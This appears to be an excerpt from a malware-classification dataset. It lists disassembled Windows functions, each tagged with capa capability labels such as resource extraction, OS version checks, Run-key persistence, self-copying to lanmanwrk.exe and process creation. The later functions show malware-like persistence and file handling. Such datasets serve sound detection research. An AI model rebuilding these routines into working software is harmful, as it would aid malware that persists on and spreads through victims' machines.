joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408af4
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0xe0]
sub esp, 0x160
mov eax, dword [0x44a5f0]
xor eax, ebp
mov dword [ebp + 0xdc], eax
cmp dword [ebp + 0xec], 0x800
mov eax, dword [ebp + 0xe8]
push esi
mov dword [ebp - 0x3c], eax
mov esi, ecx
lea eax, [ebp - 0x40]
jne 0x408b8c
push 0x43a8a4
push 4
push eax
call fcn.004264c4
push eax
call fcn.00402840
add esp, 0x10
push ebx
push edi
call fcn.004252aa
mov edi, dword [eax]
call fcn.004252aa
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x3c]
lea eax, [ebp - 0x38]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00424539
add esp, 0x18
mov dword [ebp - 0x3c], eax
call fcn.004252aa
cmp dword [eax], ebx
je 0x408ba3
call fcn.004252aa
push dword [eax]
call fcn.00408a75
pop ecx
jmp 0x408baa
push 4
push eax
push 3
push dword [ebp + 0xec]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x408b40
jmp 0x408c1c
call fcn.004252aa
mov dword [eax], edi
cmp dword [ebp - 0x3c], 0xffffffff
je 0x408c18
cmp dword [ebp - 0x3c], esi
jae 0x408c18
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x7c]
push ebx
push eax
mov dword [ebp - 0x80], 0x40
call fcn.004265c0
add esp, 0xc
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x408c0a
push str.FindActCtxSectionStringA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x408c0a
lea ecx, [ebp - 0x80]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x408c0a
push ebx
push ebx
push esi
jmp 0x408c10
push ebx
push ebx
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x408c1a
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp + 0xdc]
xor ecx, ebp
pop esi
call fcn.00424180
add ebp, 0xe0
leave
ret
Function at 0x40987b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x4098c1
call fcn.0040bd3c
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4098c1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x409904
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x4098ed
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4098ed
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x409901
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40abc2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x438229
call fcn.004260d1
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.0040bd3c
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x40ac0d
call fcn.0040bd3c
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x40ac1e
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x40ac2b
or eax, 0xffffffff
jmp 0x40ad87
mov ecx, esi
call fcn.0040a709
mov dword [ebp - 0x14], eax
call fcn.0040fcf6
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x40aca9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x40aca9
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x40aca9
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.00408ac5
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x40aca9
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x40aca9
mov ecx, ebx
call fcn.004136af
test eax, eax
je 0x40aca9
push 0
mov ecx, ebx
call fcn.004136ca
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.0041166e
push dword [ebp - 0x14]
call fcn.0040fc4e
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.0040a9ca
xor edi, edi
cmp eax, edi
je 0x40ad06
test byte [esi + 0x3c], 0x10
je 0x40acf0
push 4
pop edi
mov ecx, esi
call fcn.004135c0
test ax, 0x100
je 0x40ace6
push 5
pop edi
push edi
mov ecx, esi
call fcn.0040f7e4
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x40ad06
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00413874
or dword [ebp - 4], 0xffffffff
jmp 0x40ad31
cmp dword [ebp - 0x28], edi
je 0x40ad3f
push 1
mov ecx, ebx
call fcn.004136ca
cmp dword [ebp - 0x2c], edi
je 0x40ad4f
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x40ad68
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x40ad68
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.0040a743
cmp dword [esi + 0x58], edi
je 0x40ad84
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.00426176
ret
Function at 0x41278b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x4127ce
call fcn.0040bd3c
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4127ce
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4127e9
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00412342
test ebx, ebx
mov esi, eax
je 0x4127e7
test edi, edi
je 0x4127e7
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x415491
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4154bf
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4154dd
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004153fb
jmp 0x4154dd
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4154dd
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.004153fb
test edi, edi
mov eax, edi
jne 0x4154c7
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x44e6b4]
test ecx, ecx
je 0x4155a0
jmp 0x415490
ret 8

Function at 0x41ee5b
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x41eea8
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x41eea3
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x41ee8d
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x41ee95
cmp edx, ebx
jne 0x41efe3
add dword [eax], eax
invalid
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x41ee64
add eax, dword [eax + 4]
jmp 0x41ee51
mov dword [ebp + 0xc], ebx
jmp 0x41eeb3

Function at 0x41ee92
Capabilities:
Inspect section memory permissions

Disassembly:
add dword [eax], eax
add byte [ebx + 0x45830448], cl
or byte [edx], al
Function at 0x41ef3a
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x41eecb
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x41eee9
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
ror byte [ecx - 0x3e7443bb], cl
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x41ef47
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x41ef2e
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x41ef37
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x41ef41
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x41ef23
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x41eead
mov dword [ebp + 8], esi
xor edi, edi
Function at 0x41fbf4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ebp - 0x700]
inc eax
invalid
invalid

Function at 0x424180
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44a5f0]
jne 0x42418a
repz ret
jmp fcn.004290cf

Function at 0x424407
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x424434
call fcn.004252bd
mov dword [eax], esi
call fcn.004252aa
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0042a258
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x424410
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x424463
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004252d0
pop ecx
call fcn.004252aa
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x42448a
test al, 1
je 0x42448a
test byte [esp + 0xc], 2
je 0x42448a
call fcn.004252bd
mov dword [eax], 5
call fcn.004252aa
mov dword [eax], 0xd
jmp 0x42445a
xor eax, eax
pop esi
ret
Function at 0x42ce6c
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x44ad78]
je 0x42ce87
inc edi
cmp edi, 0x17
jb 0x42ce78
cmp edi, 0x17
jae 0x42d007
push ebp
push 3
call fcn.00433bf9
cmp eax, 1
pop ecx
je 0x42cfd3
push 3
call fcn.00433bf9
test eax, eax
pop ecx
jne 0x42cebb
cmp dword [0x44a5e0], 1
je 0x42cfd3
cmp ebx, 0xfc
je 0x42d006
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x44ef00
push ebp
call fcn.004264c4
add esp, 0xc
test eax, eax
je 0x42cef1
push esi
push esi
push esi
push esi
push esi
call fcn.0042a15c
add esp, 0x14
push 0x104
mov esi, 0x44ef19
push esi
push 0
mov byte [0x44f01d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x42cf35
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.004264c4
add esp, 0xc
test eax, eax
je 0x42cf35
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0042a15c
add esp, 0x14
push esi
call fcn.00426530
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x42cf7a
push esi
call fcn.00426530
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x44f214
push 0x43da2c
sub ecx, eax
push ecx
push eax
call fcn.00428105
add esp, 0x14
test eax, eax
je 0x42cf7a
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0042a15c
add esp, 0x14
jmp 0x42cf7c
xor esi, esi
push 0x43da28
push ebx
push ebp
call fcn.004266c1
add esp, 0xc
test eax, eax
je 0x42cf9c
push esi
push esi
push esi
push esi
push esi
call fcn.0042a15c
add esp, 0x14
push dword [edi*8 + 0x44ad7c]
push ebx
push ebp
call fcn.004266c1
add esp, 0xc
test eax, eax
je 0x42cfbe
push esi
push esi
push esi
push esi
push esi
call fcn.0042a15c
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00433a3c
add esp, 0xc
jmp 0x42d006
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x42d006
cmp ebp, 0xffffffff
je 0x42d006
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x44ad7c]
push dword [esi]
call fcn.00426530
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x433a3c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00429c70
xor ebx, ebx
cmp dword [0x44f464], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x433b12
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x433bf2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x43ebf0
push edi
call esi
cmp eax, ebx
je 0x433bf2
push eax
call fcn.00429c02
mov dword [esp], 0x43ebe0
push edi
mov dword [0x44f464], eax
call esi
push eax
call fcn.00429c02
mov dword [esp], 0x43ebcc
push edi
mov dword [0x44f468], eax
call esi
push eax
call fcn.00429c02
mov dword [0x44f46c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00426251
test eax, eax
pop ecx
pop ecx
je 0x433ae0
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042a15c
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x433b12
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00429c02
cmp eax, ebx
pop ecx
mov dword [0x44f474], eax
je 0x433b12
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00429c02
pop ecx
mov dword [0x44f470], eax
mov eax, dword [0x44f470]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x433b97
cmp dword [0x44f474], ecx
je 0x433b97
push eax
call fcn.00429c79
push dword [0x44f474]
mov esi, eax
call fcn.00429c79
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x433b97
cmp edi, ebx
je 0x433b97
call esi
cmp eax, ebx
je 0x433b64
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x433b64
test byte [ebp - 0x18], 1
jne 0x433b97
lea eax, [ebp - 0x10]
push eax
call fcn.00426288
test eax, eax
pop ecx
je 0x433b7f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042a15c
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x433b8e
or dword [ebp + 0x10], 0x200000
jmp 0x433bd2
or dword [ebp + 0x10], 0x40000
jmp 0x433bd2
mov eax, dword [0x44f468]
cmp eax, dword [ebp - 8]
je 0x433bd2
push eax
call fcn.00429c79
cmp eax, ebx
pop ecx
je 0x433bd2
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x433bd2
mov eax, dword [0x44f46c]
cmp eax, dword [ebp - 8]
je 0x433bd2
push eax
call fcn.00429c79
cmp eax, ebx
pop ecx
je 0x433bd2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44f464]
call fcn.00429c79
cmp eax, ebx
pop ecx
je 0x433bf2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x433bf4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x437c80
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x44a5f0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00437c15
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004265c0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x437ccf
cmp dword [ebp - 0x1c], 5
jb 0x437ce7
jmp 0x437ce3
cmp dword [ebp - 0x10], 1
jne 0x437ce7
cmp dword [ebp - 0x1c], 4
ja 0x437ce3
jne 0x437ce7
cmp dword [ebp - 0x18], 0
jbe 0x437ce7
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x43f404
call fcn.00437ae9
test eax, eax
jge 0x437d08
mov byte [0x44f5ac], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00424180
add ebp, 0x78
leave
ret
Function at 0x40211e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x40000000
push str..LanManDrv
call fcn.004034f0
cmp eax, 0xffffffff
pop ecx
pop ecx
mov dword [ebp - 4], eax
jne 0x402140
xor eax, eax
leave
ret
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
lea edi, [ebx + 1]
push edi
call fcn.00403516
mov esi, eax
mov al, byte [ebp + 8]
push ebx
push dword [ebp + 0xc]
mov byte [esi], al
lea eax, [esi + 1]
push eax
call fcn.00403cab
add esp, 0x10
push 0
lea eax, [ebp - 8]
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call fcn.0040352a
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x40220f
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push edi
lea eax, [ebp - 0x20c]
push 0x200
push eax
call fcn.00403d00
pop ecx
pop ecx
push str.iexchg.dll
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x20c]
push 0x80000000
push eax
call fcn.004034f0
mov edi, eax
cmp edi, 0xffffffff
pop ecx
pop ecx
jne 0x40225f
xor eax, eax
jmp 0x402381
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push edi
call esi
test eax, eax
je 0x402376
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x80c]
push eax
push edi
call esi
test eax, eax
je 0x402376
mov eax, dword [ebp - 0xc]
push ebx
mov byte [ebp + eax - 0x80c], bl
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
je 0x402376
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x60c]
push eax
push edi
call esi
test eax, eax
je 0x402376
mov eax, dword [ebp - 4]
push edi
mov byte [ebp + eax - 0x60c], bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x200
lea eax, [ebp - 0x40c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.00403516
mov dword [0x40503c], eax
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.00403516
pop ecx
mov dword [0x405040], eax
pop ecx
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
call fcn.00403516
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop ecx
mov dword [0x405044], eax
lea eax, [ebp - 0x60c]
push eax
push dword [0x40503c]
call esi
lea eax, [ebp - 0x40c]
push eax
push dword [0x405044]
call esi
lea eax, [ebp - 0x80c]
push eax
push dword [0x405040]
call esi
xor eax, eax
inc eax
jmp 0x40237f
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop esi
pop ebx
pop edi
leave
ret
Function at 0x4023a4
Capabilities:
Delete registry value
Initialize winsock library
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push esi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
pop ecx
lea eax, [ebp - 0x194]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xa365
push 0x232
push 0x10
push 0
push str.__srvmgr32
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, str.ZwQueryService
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0040220f
test eax, eax
je 0x402428
call fcn.00402ec0
test eax, eax
jne 0x40242f
xor eax, eax
jmp 0x4024d6
call fcn.00402feb
push dword [0x40503c]
call fcn.00402003
mov dword [esp], 0x40103d
push 0xbb8
push 0x161
push dword [0x405048]
call dword [sym.imp.USER32.dll_SetTimer]
call fcn.0040319a
test eax, eax
jne 0x40246a
call fcn.00403220
call fcn.004019c8
call fcn.004019ae
push 0x5c
push dword [0x40503c]
call fcn.0040353e
push eax
call fcn.004021af
push 0x5c
push dword [0x405040]
call fcn.0040353e
push eax
call fcn.004021af
push 0x5c
push dword [0x405044]
call fcn.0040353e
push eax
call fcn.004021af
call fcn.004021a1
push esi
call fcn.004021ca
push 0x5c
push dword [0x405040]
call fcn.0040353e
push eax
call fcn.004021ca
add esp, 0x34
call fcn.00402384
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x402664
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
xor esi, esi
jmp 0x402681
cmp byte [eax + edi], 0x5c
je 0x402685
dec eax
cmp eax, esi
jg 0x40267a
cmp eax, esi
jne 0x402690
xor eax, eax
jmp 0x402722
push ebx
mov edi, 0x200
push edi
call fcn.00403516
mov ebx, eax
push edi
push ebx
call fcn.00403d00
add esp, 0xc
push str.lanmanwrk.exe
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push 0x4042c4
push esi
push esi
push esi
push esi
push esi
push ebx
push ebx
mov dword [ebp - 0x54], 0x44
mov word [ebp - 0x22], si
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x48], esi
mov word [ebp - 0x24], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push ebx
call fcn.0040352a
pop ecx
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret